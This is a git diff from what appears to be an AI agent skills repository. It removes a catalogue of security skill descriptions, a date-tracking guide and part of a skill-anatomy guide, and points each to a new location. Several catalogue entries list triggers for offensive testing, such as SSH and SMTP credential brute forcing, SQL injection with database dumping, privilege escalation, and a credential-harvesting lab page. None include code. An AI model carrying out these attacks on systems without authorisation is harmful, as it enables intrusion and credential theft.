-**Description:** Expert in secure mobile coding practices specializing in input validation, WebView security, and mobile-specific security patterns. Use PROACTIVELY for mobile security implementations or mobile security code reviews.
-
-### Use Cases
-- **Use this agent for**: Hands-on mobile security coding, implementation of secure mobile patterns, mobile-specific vulnerability fixes, WebView security configuration, mobile authentication implementation
-- **Use security-auditor for**: High-level security audits, compliance assessments, DevSecOps pipeline design, threat modeling, security architecture reviews, penetration testing planning
-- **Key difference**: This agent focuses on writing secure mobile code, while security-auditor focuses on auditing and assessing security posture
-
-### Example Prompts
-- "Implement secure WebView configuration with HTTPS enforcement and CSP"
-- "Set up biometric authentication with secure fallback mechanisms"
-- "Create secure local storage with encryption for sensitive user data"
-- "Implement certificate pinning for API communication security"
-- "Configure deep link security with URL validation and parameter sanitization"
-- "Set up root/jailbreak detection with graceful security degradation"
-- "Implement secure cross-platform data sharing between native and WebView"
-- "Create privacy-compliant analytics with data minimization and consent"
-- "Implement secure React Native bridge communication with input validation"
-- "Configure Flutter platform channel security with message validation"
-- "Set up secure Xamarin native interop with assembly protection"
-- "Implement secure Cordova plugin communication with sandboxing"
-
----
-
-## mtls-configuration (`mtls-configuration`)
-
-**Description:** Configure mutual TLS (mTLS) for zero-trust service-to-service communication. Use when implementing zero-trust networking, certificate management, or securing internal service communication.
-
-### Use Cases
-Not specified
-
-### Example Prompts
-Not specified
-
----
-
-## Network 101 (`network-101`)
-
-**Description:** This skill should be used when the user asks to "set up a web server", "configure HTTP or HTTPS", "perform SNMP enumeration", "configure SMB shares", "test network services", or needs guidance on configuring target environments for security testing.
-
-### Use Cases
-- Configuring and testing common network services (HTTP, HTTPS, SNMP, SMB)
-- Enumerating network services for security assessment training
-- Analyzing service logs for security events and credential harvesting
-- Setting up isolated lab environments for penetration testing practice
-
-### Example Prompts
-- "Set up a basic Apache web server on Linux and create a test login page for credential harvesting practice."
-- "Configure an SNMP service with 'public' and 'private' community strings for enumeration practice."
-- "Enumerate an SMB service anonymously and list all accessible shares using smbclient."
-
----
-
-## nestjs-expert (`nestjs-expert`)
-
-**Description:** Nest.js framework expert specializing in module architecture, dependency injection, middleware, guards, interceptors, testing with Jest/Supertest, TypeORM/Mongoose integration, and Passport.js authentication. Use PROACTIVELY for any Nest.js application issues including architecture decisions, testing strategies, performance optimization, or debugging complex dependency injection problems. If a specialized expert is a better fit, I will recommend switching and stop.
-
-### Use Cases
-This skill is applicable to execute the workflow or actions described in the overview.
-
-### Example Prompts
-Not specified
-
----
-
-## network-engineer (`network-engineer`)
-
-**Description:** Expert network engineer specializing in modern cloud networking, security architectures, and performance optimization. Masters multi-cloud connectivity, service mesh, zero-trust networking, SSL/TLS, global load balancing, and advanced troubleshooting. Handles CDN optimization, network automation, and compliance. Use PROACTIVELY for network design, connectivity issues, or performance optimization.
-
-### Use Cases
-Expert network engineer with comprehensive knowledge of cloud networking, modern protocols, security architectures, and performance optimization. Masters multi-cloud networking, service mesh technologies, zero-trust architectures, and advanced troubleshooting. Specializes in scalable, secure, and high-performance network solutions.
-
-### Example Prompts
-- "Design secure multi-cloud network architecture with zero-trust connectivity"
-- "Troubleshoot intermittent connectivity issues in Kubernetes service mesh"
-- "Optimize CDN configuration for global application performance"
-- "Configure SSL/TLS termination with automated certificate management"
-- "Design network security architecture for compliance with HIPAA requirements"
-- "Implement global load balancing with disaster recovery failover"
-- "Analyze network performance bottlenecks and implement optimization strategies"
-- "Set up comprehensive network monitoring with automated alerting and incident response"
-
----
-
-## nextjs-supabase-auth (`nextjs-supabase-auth`)
-
-**Description:** Expert integration of Supabase Auth with Next.js App Router Use when: supabase auth next, authentication next.js, login supabase, auth middleware, protected route.
-
-### Use Cases
-This skill is applicable to execute the workflow or actions described in the overview.
-
-### Example Prompts
-Not specified
-
----
-
-## nodejs-backend-patterns (`nodejs-backend-patterns`)
-
-**Description:** Build production-ready Node.js backend services with Express/Fastify, implementing middleware patterns, error handling, authentication, database integration, and API design best practices. Use when creating Node.js servers, REST APIs, GraphQL backends, or microservices architectures.
-
-### Use Cases
-Not specified
-
-### Example Prompts
-Not specified
-
----
-
-## nodejs-best-practices (`nodejs-best-practices`)
-
-**Description:** Node.js development principles and decision-making. Framework selection, async patterns, security, and architecture. Teaches thinking, not copying.
-
-### Use Cases
-Use this skill when making Node.js architecture decisions, choosing frameworks, designing async patterns, or applying security and deployment best practices.
-
-### Example Prompts
-Not specified
-
----
-
-## notebooklm (`notebooklm`)
-
-**Description:** Use this skill to query your Google NotebookLM notebooks directly from Claude Code for source-grounded, citation-backed answers from Gemini. Browser automation, library management, persistent auth. Drastically reduced hallucinations through document-only responses.
-
-### Use Cases
-Trigger when user:
-- Mentions NotebookLM explicitly
-- Shares NotebookLM URL (`https://notebooklm.google.com/notebook/...`)
-- Asks to query their notebooks/documentation
-- Wants to add documentation to NotebookLM library
-- Uses phrases like "ask my NotebookLM", "check my docs", "query my notebook"
-
-### Example Prompts
-Not specified
-
----
-
-## observability-engineer (`observability-engineer`)
-
-**Description:** Build production-ready monitoring, logging, and tracing systems. Implements comprehensive observability strategies, SLI/SLO management, and incident response workflows. Use PROACTIVELY for monitoring infrastructure, performance optimization, or production reliability.
-
-### Use Cases
-Expert observability engineer specializing in comprehensive monitoring strategies, distributed tracing, and production reliability systems. Masters both traditional monitoring approaches and cutting-edge observability patterns, with deep knowledge of modern observability stacks, SRE practices, and enterprise-scale monitoring architectures.
-
-### Example Prompts
-- "Design a comprehensive monitoring strategy for a microservices architecture with 50+ services"
-- "Implement distributed tracing for a complex e-commerce platform handling 1M+ daily transactions"
-- "Set up cost-effective log management for a high-traffic application generating 10TB+ daily logs"
-- "Create SLI/SLO framework with error budget tracking for API services with 99.9% availability target"
-- "Build real-time alerting system with intelligent noise reduction for 24/7 operations team"
-- "Implement chaos engineering with monitoring validation for Netflix-scale resilience testing"
-- "Design executive dashboard showing business impact of system reliability and revenue correlation"
-- "Set up compliance monitoring for SOC2 and PCI requirements with automated evidence collection"
-- "Optimize monitoring costs while maintaining comprehensive coverage for startup scaling to enterprise"
-- "Create automated incident response workflows with runbook integration and Slack/PagerDuty escalation"
-- "Build multi-region observability architecture with data sovereignty compliance"
-- "Implement machine learning-based anomaly detection for proactive issue identification"
-- "Design observability strategy for serverless architecture with AWS Lambda and API Gateway"
-- "Create custom metrics pipeline for business KPIs integrated with technical monitoring"
-
----
-
-## openapi-spec-generation (`openapi-spec-generation`)
-
-**Description:** Generate and maintain OpenAPI 3.1 specifications from code, design-first specs, and validation patterns. Use when creating API documentation, generating SDKs, or ensuring API contract compliance.
-
-### Use Cases
-Not specified
-
-### Example Prompts
-Not specified
-
----
-
-## payment-integration (`payment-integration`)
-
-**Description:** Integrate Stripe, PayPal, and payment processors. Handles checkout flows, subscriptions, webhooks, and PCI compliance. Use PROACTIVELY when implementing payments, billing, or subscription features.
-
-### Use Cases
-Not specified
-
-### Example Prompts
-Not specified
-
----
-
-## pci-compliance (`pci-compliance`)
-
-**Description:** Implement PCI DSS compliance requirements for secure handling of payment card data and payment systems. Use when securing payment processing, achieving PCI compliance, or implementing payment card security measures.
-
-### Use Cases
-Not specified
-
-### Example Prompts
-Not specified
-
----
-
-## Pentest Checklist (`pentest-checklist`)
-
-**Description:** This skill should be used when the user asks to "plan a penetration test", "create a security assessment checklist", "prepare for penetration testing", "define pentest scope", "follow security testing best practices", or needs a structured methodology for penetration testing engagements.
-
-### Use Cases
-This skill is applicable to execute the workflow or actions described in the overview.
-
-### Example Prompts
-Not specified
-
----
-
-## Pentest Commands (`pentest-commands`)
-
-**Description:** This skill should be used when the user asks to "run pentest commands", "scan with nmap", "use metasploit exploits", "crack passwords with hydra or john", "scan web vulnerabilities with nikto", "enumerate networks", or needs essential penetration testing command references.
-
-### Use Cases
-This skill is applicable to execute the workflow or actions described in the overview.
-
-### Example Prompts
-Not specified
-
----
-
-## plaid-fintech (`plaid-fintech`)
-
-**Description:** Expert patterns for Plaid API integration including Link token flows, transactions sync, identity verification, Auth for ACH, balance checks, webhook handling, and fintech compliance best practices. Use when: plaid, bank account linking, bank connection, ach, account aggregation.
-
-### Use Cases
-This skill is applicable to execute the workflow or actions described in the overview.
-
-### Example Prompts
-Not specified
-
----
-
-## postmortem-writing (`postmortem-writing`)
-
-**Description:** Write effective blameless postmortems with root cause analysis, timelines, and action items. Use when conducting incident reviews, writing postmortem documents, or improving incident response processes.
-
-### Use Cases
-Not specified
-
-### Example Prompts
-Not specified
-
----
-
-## Privilege Escalation Methods (`privilege-escalation-methods`)
-
-**Description:** This skill should be used when the user asks to "escalate privileges", "get root access", "become administrator", "privesc techniques", "abuse sudo", "exploit SUID binaries", "Kerberoasting", "pass-the-ticket", "token impersonation", or needs guidance on post-exploitation privilege escalation for Linux or Windows systems.
-
-### Use Cases
-This skill is applicable to execute the workflow or actions described in the overview.
-
-### Example Prompts
-Not specified
-
----
-
-## production-code-audit (`production-code-audit`)
-
-**Description:** Autonomously deep-scan entire codebase line-by-line, understand architecture and patterns, then systematically transform it to production-grade, corporate-level professional quality with optimizations
-
-### Use Cases
-- Use when user says "make this production-ready"
-- Use when user says "audit my codebase"
-- Use when user says "make this professional/corporate-level"
-- Use when user says "optimize everything"
-- Use when user wants enterprise-grade quality
-- Use when preparing for production deployment
-- Use when code needs to meet corporate standards
-
-### Example Prompts
-Not specified
-
----
-
-## prompt-caching (`prompt-caching`)
-
-**Description:** Caching strategies for LLM prompts including Anthropic prompt caching, response caching, and CAG (Cache Augmented Generation) Use when: prompt caching, cache prompt, response cache, cag, cache augmented.
-
-### Use Cases
-This skill is applicable to execute the workflow or actions described in the overview.
-
-### Example Prompts
-Not specified
-
----
-
-## Red Team Tools and Methodology (`red-team-tools`)
-
-**Description:** This skill should be used when the user asks to "follow red team methodology", "perform bug bounty hunting", "automate reconnaissance", "hunt for XSS vulnerabilities", "enumerate subdomains", or needs security researcher techniques and tool configurations from top bug bounty hunters.
-
-### Use Cases
-This skill is applicable to execute the workflow or actions described in the overview.
-
-### Example Prompts
-Not specified
-
----
-
-## red-team-tactics (`red-team-tactics`)
-
-**Description:** Red team tactics principles based on MITRE ATT&CK. Attack phases, detection evasion, reporting.
-
-### Use Cases
-This skill is applicable to execute the workflow or actions described in the overview.
-
-### Example Prompts
-Not specified
-
----
-
-## reverse-engineer (`reverse-engineer`)
-
-**Description:** Expert reverse engineer specializing in binary analysis, disassembly, decompilation, and software analysis. Masters IDA Pro, Ghidra, radare2, x64dbg, and modern RE toolchains. Handles executable analysis, library inspection, protocol extraction, and vulnerability research. Use PROACTIVELY for binary analysis, CTF challenges, security research, or understanding undocumented software.
-
-### Use Cases
-Not specified
-
-### Example Prompts
-Not specified
-
----
-
-## sast-configuration (`sast-configuration`)
-
-**Description:** Configure Static Application Security Testing (SAST) tools for automated vulnerability detection in application code. Use when setting up security scanning, implementing DevSecOps practices, or automating code vulnerability detection.
-
-### Use Cases
-This skill provides comprehensive guidance for setting up and configuring SAST tools including Semgrep, SonarQube, and CodeQL.
-
-### Example Prompts
-Not specified
-
----
-
-## Security Auditing Workflow (`security-audit`)
-
-**Description:** Comprehensive security auditing workflow covering web application testing, API security, penetration testing, vulnerability scanning, and security hardening.
-
-### Use Cases
-- Managing the complete penetration testing lifecycle (Recon → Scanning → Exploitation → Reporting)
-- Performing passive reconnaissance using OSINT and Google Hacking
-- Executing automated and manual vulnerability scans against web surfaces
-- Orchestrating multi-layer hardening and remediation testing
-
-### Example Prompts
-- "Conduct a full security audit of this target domain starting with passive reconnaissance."
-- "Run a vulnerability scan against the identified web services and prioritize findings by severity."
-- "Formulate a remediation strategy for the top 5 critical vulnerabilities found in the audit."
-
----
-
-## schema-markup (`schema-markup`)
-
-**Description:** Design, validate, and optimize schema.org structured data for eligibility, correctness, and measurable SEO impact. Use when the user wants to add, fix, audit, or scale schema markup (JSON-LD) for rich results. This skill evaluates whether schema should be implemented, what types are valid, and how to deploy safely according to Google guidelines.
-
-
-### Use Cases
-This skill is applicable to execute the workflow or actions described in the overview.
-
-### Example Prompts
-Not specified
-
----
-
-## Security Scanning Tools (`scanning-tools`)
-
-**Description:** This skill should be used when the user asks to "perform vulnerability scanning", "scan networks for open ports", "assess web application security", "scan wireless networks", "detect malware", "check cloud security", or "evaluate system compliance". It provides comprehensive guidance on security scanning tools and methodologies.
-
-### Use Cases
-This skill is applicable to execute the workflow or actions described in the overview.
-
-### Example Prompts
-Not specified
-
----
-
-## security-auditor (`security-auditor`)
-
-**Description:** Comprehensive security auditing workflow covering web application testing, API security, penetration testing, vulnerability scanning, and security hardening.
-
-### Use Cases
-- Managing the complete penetration testing lifecycle (Recon → Scanning → Exploitation → Reporting)
-- Performing passive reconnaissance using OSINT and Google Hacking
-- Executing automated and manual vulnerability scans against web surfaces
-- Orchestrating multi-layer hardening and remediation testing
-
-### Example Prompts
-- "Conduct a full security audit of this target domain starting with passive reconnaissance."
-- "Run a vulnerability scan against the identified web services and prioritize findings by severity."
-- "Formulate a remediation strategy for the top 5 critical vulnerabilities found in the audit."
-
----
-
-## security-compliance-compliance-check (`security-compliance-compliance-check`)
-
-**Description:** You are a compliance expert specializing in regulatory requirements for software systems including GDPR, HIPAA, SOC2, PCI-DSS, and other industry standards. Perform compliance audits and provide implementation guidance.
-
-### Use Cases
-Not specified
-
-### Example Prompts
-Not specified
-
----
-
-## security-requirement-extraction (`security-requirement-extraction`)
-
-**Description:** Derive security requirements from threat models and business context. Use when translating threats into actionable requirements, creating security user stories, or building security test cases.
-
-### Use Cases
-Not specified
-
-### Example Prompts
-Not specified
-
----
-
-## security-review (`cc-skill-security-review`)
-
-**Description:** Use this skill when adding authentication, handling user input, working with secrets, creating API endpoints, or implementing payment/sensitive features. Provides comprehensive security checklist and patterns.
-
-### Use Cases
-This skill is applicable to execute the workflow or actions described in the overview.
-
-### Example Prompts
-Not specified
-
----
-
-## security-scanning-security-dependencies (`security-scanning-security-dependencies`)
-
-**Description:** You are a security expert specializing in dependency vulnerability analysis, SBOM generation, and supply chain security. Scan project dependencies across ecosystems to identify vulnerabilities, assess risks, and recommend remediation.
-
-### Use Cases
-Not specified
-
-### Example Prompts
-Not specified
-
----
-
-## security-scanning-security-hardening (`security-scanning-security-hardening`)
-
-**Description:** Coordinate multi-layer security scanning and hardening across application, infrastructure, and compliance controls.
-
-### Use Cases
-Not specified
-
-### Example Prompts
-Not specified
-
----
-
-## security-scanning-security-sast (`security-scanning-security-sast`)
-
-**Description:** Static Application Security Testing (SAST) for code vulnerability analysis across multiple languages and frameworks
-
-### Use Cases
-Not specified
-
-### Example Prompts
-Not specified
-
----
-
-
-## service-mesh-expert (`service-mesh-expert`)
-
-**Description:** Expert service mesh architect specializing in Istio, Linkerd, and cloud-native networking patterns. Masters traffic management, security policies, observability integration, and multi-cluster mesh con
-
-### Use Cases
-Not specified
-
-### Example Prompts
-Not specified
-
----
-
-## Shodan Reconnaissance and Pentesting (`shodan-reconnaissance`)
-
-**Description:** This skill should be used when the user asks to "search for exposed devices on the internet," "perform Shodan reconnaissance," "find vulnerable services using Shodan," "scan IP ranges with Shodan," or "discover IoT devices and open ports." It provides comprehensive guidance for using Shodan's search engine, CLI, and API for penetration testing reconnaissance.
-
-### Use Cases
-This skill is applicable to execute the workflow or actions described in the overview.
-
-### Example Prompts
-Not specified
-
----
-
-## SMTP Penetration Testing (`smtp-penetration-testing`)
-
-**Description:** This skill should be used when the user asks to "perform SMTP penetration testing", "enumerate email users", "test for open mail relays", "grab SMTP banners", "brute force email credentials", or "assess mail server security". It provides comprehensive techniques for testing SMTP server security.
-
-### Use Cases
-This skill is applicable to execute the workflow or actions described in the overview.
-
-### Example Prompts
-Not specified
-
----
-
-## solidity-security (`solidity-security`)
-
-**Description:** Master smart contract security best practices to prevent common vulnerabilities and implement secure Solidity patterns. Use when writing smart contracts, auditing existing contracts, or implementing security measures for blockchain applications.
-
-### Use Cases
-Not specified
-
-### Example Prompts
-Not specified
-
----
-
-## SQL Injection Testing (`sql-injection-testing`)
-
-**Description:** This skill should be used when the user asks to "test for SQL injection vulnerabilities", "perform SQLi attacks", "bypass authentication using SQL injection", "extract database information through injection", "detect SQL injection flaws", or "exploit database query vulnerabilities". It provides comprehensive techniques for identifying, exploiting, and understanding SQL injection attack vectors across different database systems.
-
-### Use Cases
-This skill is applicable to execute the workflow or actions described in the overview.
-
-### Example Prompts
-Not specified
-
----
-
-## SQLMap Database Penetration Testing (`sqlmap-database-pentesting`)
-
-**Description:** This skill should be used when the user asks to "automate SQL injection testing," "enumerate database structure," "extract database credentials using sqlmap," "dump tables and columns from a vulnerable database," or "perform automated database penetration testing." It provides comprehensive guidance for using SQLMap to detect and exploit SQL injection vulnerabilities.
-
-### Use Cases
-This skill is applicable to execute the workflow or actions described in the overview.
-
-### Example Prompts
-Not specified
-
----
-
-## SSH Penetration Testing (`ssh-penetration-testing`)
-
-**Description:** This skill should be used when the user asks to "pentest SSH services", "enumerate SSH configurations", "brute force SSH credentials", "exploit SSH vulnerabilities", "perform SSH tunneling", or "audit SSH security". It provides comprehensive SSH penetration testing methodologies and techniques.
-
-### Use Cases
-This skill is applicable to execute the workflow or actions described in the overview.
-
-### Example Prompts
-Not specified
-
----
-
-## stride-analysis-patterns (`stride-analysis-patterns`)
-
-**Description:** Apply STRIDE methodology to systematically identify threats. Use when analyzing system security, conducting threat modeling sessions, or creating security documentation.
-
-### Use Cases
-Not specified
-
-### Example Prompts
-Not specified
-
----
-
-## stripe-integration (`stripe-integration`)
-
-**Description:** Implement Stripe payment processing for robust, PCI-compliant payment flows including checkout, subscriptions, and webhooks. Use when integrating Stripe payments, building subscription systems, or implementing secure checkout flows.
-
-### Use Cases
-Not specified
-
-### Example Prompts
-Not specified
-
----
-
-## terraform-specialist (`terraform-specialist`)
-
-**Description:** Expert Terraform/OpenTofu specialist mastering advanced IaC automation, state management, and enterprise infrastructure patterns. Handles complex module design, multi-cloud deployments, GitOps workflows, policy as code, and CI/CD integration. Covers migration strategies, security best practices, and modern IaC ecosystems. Use PROACTIVELY for advanced IaC, state management, or infrastructure automation.
-
-### Use Cases
-Expert Infrastructure as Code specialist with comprehensive knowledge of Terraform, OpenTofu, and modern IaC ecosystems. Masters advanced module design, state management, provider development, and enterprise-scale infrastructure automation. Specializes in GitOps workflows, policy as code, and complex multi-cloud deployments.
-
-### Example Prompts
-- "Design a reusable Terraform module for a three-tier web application with proper testing"
-- "Set up secure remote state management with encryption and locking for multi-team environment"
-- "Create CI/CD pipeline for infrastructure deployment with security scanning and approval workflows"
-- "Migrate existing Terraform codebase to OpenTofu with minimal disruption"
-- "Implement policy as code validation for infrastructure compliance and cost control"
-- "Design multi-cloud Terraform architecture with provider abstraction"
-- "Troubleshoot state corruption and implement recovery procedures"
-- "Create enterprise service catalog with approved infrastructure modules"
-
----
-
-## threat-mitigation-mapping (`threat-mitigation-mapping`)
-
-**Description:** Map identified threats to appropriate security controls and mitigations. Use when prioritizing security investments, creating remediation plans, or validating control effectiveness.
-
-### Use Cases
-Not specified
-
-### Example Prompts
-Not specified
-
----
-
-## threat-modeling-expert (`threat-modeling-expert`)
-
-**Description:** Expert in threat modeling methodologies, security architecture review, and risk assessment. Masters STRIDE, PASTA, attack trees, and security requirement extraction. Use for security architecture reviews, threat identification, and secure-by-design planning.
-
-### Use Cases
-Not specified
-
-### Example Prompts
-Not specified
-
----
-
-## Top 100 Web Vulnerabilities Reference (`top-web-vulnerabilities`)
-
-**Description:** This skill should be used when the user asks to "identify web application vulnerabilities", "explain common security flaws", "understand vulnerability categories", "learn about injection attacks", "review access control weaknesses", "analyze API security issues", "assess security misconfigurations", "understand client-side vulnerabilities", "examine mobile and IoT security flaws", or "reference the OWASP-aligned vulnerability taxonomy". Use this skill to provide comprehensive vulnerability definitions, root causes, impacts, and mitigation strategies across all major web security categories.
-
-### Use Cases
-This skill is applicable to execute the workflow or actions described in the overview.
-
-### Example Prompts
-Not specified
-
----
-
-## using-superpowers (`using-superpowers`)
-
-**Description:** Use when starting any conversation - establishes how to find and use skills, requiring Skill tool invocation before ANY response including clarifying questions
-
-### Use Cases
-This skill is applicable to execute the workflow or actions described in the overview.
-
-### Example Prompts
-Not specified
-
----
-
-## vulnerability-scanner (`vulnerability-scanner`)
-
-**Description:** Advanced vulnerability analysis principles. OWASP 2025, Supply Chain Security, attack surface mapping, risk prioritization.
-
-### Use Cases
-This skill is applicable to execute the workflow or actions described in the overview.
-
-### Example Prompts
-Not specified
-
----
-
-## wcag-audit-patterns (`wcag-audit-patterns`)
-
-**Description:** Conduct WCAG 2.2 accessibility audits with automated testing, manual verification, and remediation guidance. Use when auditing websites for accessibility, fixing WCAG violations, or implementing accessible design patterns.
-
-### Use Cases
-Not specified
-
-### Example Prompts
-Not specified
-
----
-
-## web-design-guidelines (`web-design-guidelines`)
-
-**Description:** Review UI code for Web Interface Guidelines compliance. Use when asked to "review my UI", "check accessibility", "audit design", "review UX", or "check my site against best practices".
-
-### Use Cases
-This skill is applicable to execute the workflow or actions described in the overview.
-
-### Example Prompts
-Not specified
-
----
-
-## Windows Privilege Escalation (`windows-privilege-escalation`)
-
-**Description:** This skill should be used when the user asks to "escalate privileges on Windows," "find Windows privesc vectors," "enumerate Windows for privilege escalation," "exploit Windows misconfigurations," or "perform post-exploitation privilege escalation." It provides comprehensive guidance for discovering and exploiting privilege escalation vulnerabilities in Windows environments.
-
-### Use Cases
-This skill is applicable to execute the workflow or actions described in the overview.
-
-### Example Prompts
-Not specified
-
----
-
-## Wireshark Network Traffic Analysis (`wireshark-analysis`)
-
-**Description:** This skill should be used when the user asks to "analyze network traffic with Wireshark", "capture packets for troubleshooting", "filter PCAP files", "follow TCP/UDP streams", "detect network anomalies", "investigate suspicious traffic", or "perform protocol analysis". It provides comprehensive techniques for network packet capture, filtering, and analysis using Wireshark.
-
-### Use Cases
-This skill is applicable to execute the workflow or actions described in the overview.
-
-### Example Prompts
-Not specified
-
----
-
-## WordPress Penetration Testing (`wordpress-penetration-testing`)
-
-**Description:** This skill should be used when the user asks to "pentest WordPress sites", "scan WordPress for vulnerabilities", "enumerate WordPress users, themes, or plugins", "exploit WordPress vulnerabilities", or "use WPScan". It provides comprehensive WordPress security assessment methodologies.
-
-### Use Cases
-This skill is applicable to execute the workflow or actions described in the overview.
-
-### Example Prompts
-Not specified
-
----
+# Security Skills
+This document moved to [`users/security-skills.md`](users/security-skills.md).
diff --git a/docs/SKILLS_DATE_TRACKING.md b/docs/SKILLS_DATE_TRACKING.md
index 880f228e..0aa02643 100644
--- a/docs/SKILLS_DATE_TRACKING.md
+++ b/docs/SKILLS_DATE_TRACKING.md
@@ -1,221 +1,3 @@
-# Skills Date Tracking Guide
+# Skills Date Tracking
-This guide explains how to use the new `date_added` feature for tracking when skills were created or added to the collection.
-
-## Overview
-
-The `date_added` field in skill frontmatter allows you to track when each skill was created. This is useful for:
-
-- **Versioning**: Understanding skill age and maturity
-- **Changelog generation**: Tracking new skills over time
-- **Reporting**: Analyzing skill collection growth
-- **Organization**: Grouping skills by creation date
-
-## Format
-
-The `date_added` field uses ISO 8601 date format: **YYYY-MM-DD**
-
-```yaml
----
-name: my-skill-name
-description: "Brief description"
-date_added: "2024-01-15"
----
-```
-
-## Quick Start
-
-### 1. View All Skills with Their Dates
-
-```bash
-python scripts/manage_skill_dates.py list
-```
-
-Output example:
-```
-📅 Skills with Date Added (245):
-============================================================
- 2025-02-26 │ recent-skill
- 2025-02-20 │ another-new-skill
- 2024-12-15 │ older-skill
- ...
-
-⏳ Skills without Date Added (5):
-============================================================
- some-legacy-skill
- undated-skill
- ...
-
-📊 Coverage: 245/250 (98.0%)
-```
-
-### 2. Add Missing Dates
-
-Add today's date to all skills that don't have a `date_added` field:
-
-```bash
-python scripts/manage_skill_dates.py add-missing
-```
-
-Or specify a custom date:
-
-```bash
-python scripts/manage_skill_dates.py add-missing --date 2024-01-15
-```
-
-### 3. Add/Update All Skills
-
-Set a date for all skills at once:
-
-```bash
-python scripts/manage_skill_dates.py add-all --date 2024-01-01
-```
-
-### 4. Update a Single Skill
-
-Update a specific skill's date:
-
-```bash
-python scripts/manage_skill_dates.py update my-skill-name 2024-06-15
-```
-
-### 5. Generate a Report
-
-Generate a JSON report of all skills with their metadata:
-
-```bash
-python scripts/generate_skills_report.py
-```
-
-Save to file:
-
-```bash
-python scripts/generate_skills_report.py --output skills_report.json
-```
-
-Sort by name:
-
-```bash
-python scripts/generate_skills_report.py --sort name --output sorted_skills.json
-```
-
-## Usage in Your Workflow
-
-### When Creating a New Skill
-
-Add the `date_added` field to your SKILL.md frontmatter:
-
-```yaml
----
-name: new-awesome-skill
-description: "Does something awesome"
-date_added: "2025-02-26"
----
-```
-
-### Automated Addition
-
-When onboarding many skills, use:
-
-```bash
-python scripts/manage_skill_dates.py add-missing --date 2025-02-26
-```
-
-This adds today's date to all skills that are missing the field.
-
-### Validation
-
-The validators now check `date_added` format:
-
-```bash
-# Run Python validator (strict mode)
-python scripts/validate_skills.py --strict
-
-# Run JavaScript validator
-npm run validate
-```
-
-Both will flag invalid dates (must be YYYY-MM-DD format).
-
-## Generated Reports
-
-The `generate_skills_report.py` script produces a JSON report with statistics:
-
-```json
-{
- "generated_at": "2025-02-26T10:30:00.123456",
- "total_skills": 250,
- "skills_with_dates": 245,
- "skills_without_dates": 5,
- "coverage_percentage": 98.0,
- "sorted_by": "date",
- "skills": [
- {
- "id": "recent-skill",
- "name": "recent-skill",
- "description": "A newly added skill",
- "date_added": "2025-02-26",
- "source": "community",
- "risk": "safe",
- "category": "recent"
- },
- ...
- ]
-}
-```
-
-Use this for:
-- Dashboard displays
-- Growth metrics
-- Automated reports
-- Analytics
-
-## Integration with CI/CD
-
-Add to your pipeline:
-
-```bash
-# In pre-commit or CI pipeline
-python scripts/validate_skills.py --strict
-
-# Generate stats report
-python scripts/generate_skills_report.py --output reports/skills_report.json
-```
-
-## Best Practices
-
-1. **Use consistent format**: Always use `YYYY-MM-DD`
-2. **Use real dates**: Reflect actual skill creation dates when possible
-3. **Update on creation**: Add the date when creating new skills
-4. **Validate regularly**: Run validators to catch format errors
-5. **Review reports**: Use generated reports to understand collection trends
-
-## Troubleshooting
-
-### "Invalid date_added format"
-
-Make sure the date is in `YYYY-MM-DD` format:
-- ✅ Correct: `2024-01-15`
-- ❌ Wrong: `01/15/2024` or `2024-1-15`
-
-### Script not found
-
-Make sure you're running from the project root:
-```bash
-cd path/to/antigravity-awesome-skills
-python scripts/manage_skill_dates.py list
-```
-
-### Python not found
-
-Install Python 3.x from [python.org](https://python.org/)
-
-## Related Documentation
-
-- [SKILL_ANATOMY.md](docs/SKILL_ANATOMY.md) - Complete skill structure guide
-- [SKILLS_UPDATE_GUIDE.md](SKILLS_UPDATE_GUIDE.md) - How to update the skill collection
-- [EXAMPLES.md](docs/EXAMPLES.md) - Example skills
-
-## Questions or Issues?
-
-See [CONTRIBUTING.md](CONTRIBUTING.md) for contribution guidelines.
+This document moved to [`maintainers/skills-date-tracking.md`](maintainers/skills-date-tracking.md).
diff --git a/docs/SKILL_ANATOMY.md b/docs/SKILL_ANATOMY.md
index 73bf2660..5cb4d89a 100644
--- a/docs/SKILL_ANATOMY.md
+++ b/docs/SKILL_ANATOMY.md
@@ -1,545 +1,3 @@
-# Anatomy of a Skill - Understanding the Structure
+# Skill Anatomy
-**Want to understand how skills work under the hood?** This guide breaks down every part of a skill file.
-
----
-
-## 📁 Basic Folder Structure
-
-```
-skills/
-└── my-skill-name/
- ├── SKILL.md ← Required: The main skill definition
- ├── examples/ ← Optional: Example files
- │ ├── example1.js
- │ └── example2.py
- ├── scripts/ ← Optional: Helper scripts
- │ └── helper.sh
- ├── templates/ ← Optional: Code templates
- │ └── template.tsx
- ├── references/ ← Optional: Reference documentation
- │ └── api-docs.md
- └── README.md ← Optional: Additional documentation
-```
-
-**Key Rule:** Only `SKILL.md` is required. Everything else is optional!
-
----
-
-## SKILL.md Structure
-
-Every `SKILL.md` file has two main parts:
-
-### 1. Frontmatter (Metadata)
-### 2. Content (Instructions)
-
-Let's break down each part:
-
----
-
-## Part 1: Frontmatter
-
-The frontmatter is at the very top, wrapped in `---`:
-
-```markdown
----
-name: my-skill-name
-description: "Brief description of what this skill does"
----
-```
-
-### Required Fields
-
-#### `name`
-- **What it is:** The skill's identifier
-- **Format:** lowercase-with-hyphens
-- **Must match:** The folder name exactly
-- **Example:** `stripe-integration`
-
-#### `description`
-- **What it is:** One-sentence summary
-- **Format:** String in quotes
-- **Length:** Keep it under 150 characters
-- **Example:** `"Stripe payment integration patterns including checkout, subscriptions, and webhooks"`
-
-### Optional Fields
-
-Some skills include additional metadata:
-
-```markdown
----
-name: my-skill-name
-description: "Brief description"
-version: "1.0.0"
-author: "Your Name"
-tags: ["react", "typescript", "testing"]
----
-```
-
----
-
-## Part 2: Content
-
-After the frontmatter comes the actual skill content. Here's the recommended structure:
-
-### Recommended Sections
-
-#### 1. Title (H1)
-```markdown
-# Skill Title
-```
-- Use a clear, descriptive title
-- Usually matches or expands on the skill name
-
-#### 2. Overview
-```markdown
-## Overview
-
-A brief explanation of what this skill does and why it exists.
-2-4 sentences is perfect.
-```
-
-#### 3. When to Use
-```markdown
-## When to Use This Skill
-
-- Use when you need to [scenario 1]
-- Use when working with [scenario 2]
-- Use when the user asks about [scenario 3]
-```
-
-**Why this matters:** Helps the AI know when to activate this skill
-
-#### 4. Core Instructions
-```markdown
-## How It Works
-
-### Step 1: [Action]
-Detailed instructions...
-
-### Step 2: [Action]
-More instructions...
-```
-
-**This is the heart of your skill** - clear, actionable steps
-
-#### 5. Examples
-```markdown
-## Examples
-
-### Example 1: [Use Case]
-\`\`\`javascript
-// Example code
-\`\`\`
-
-### Example 2: [Another Use Case]
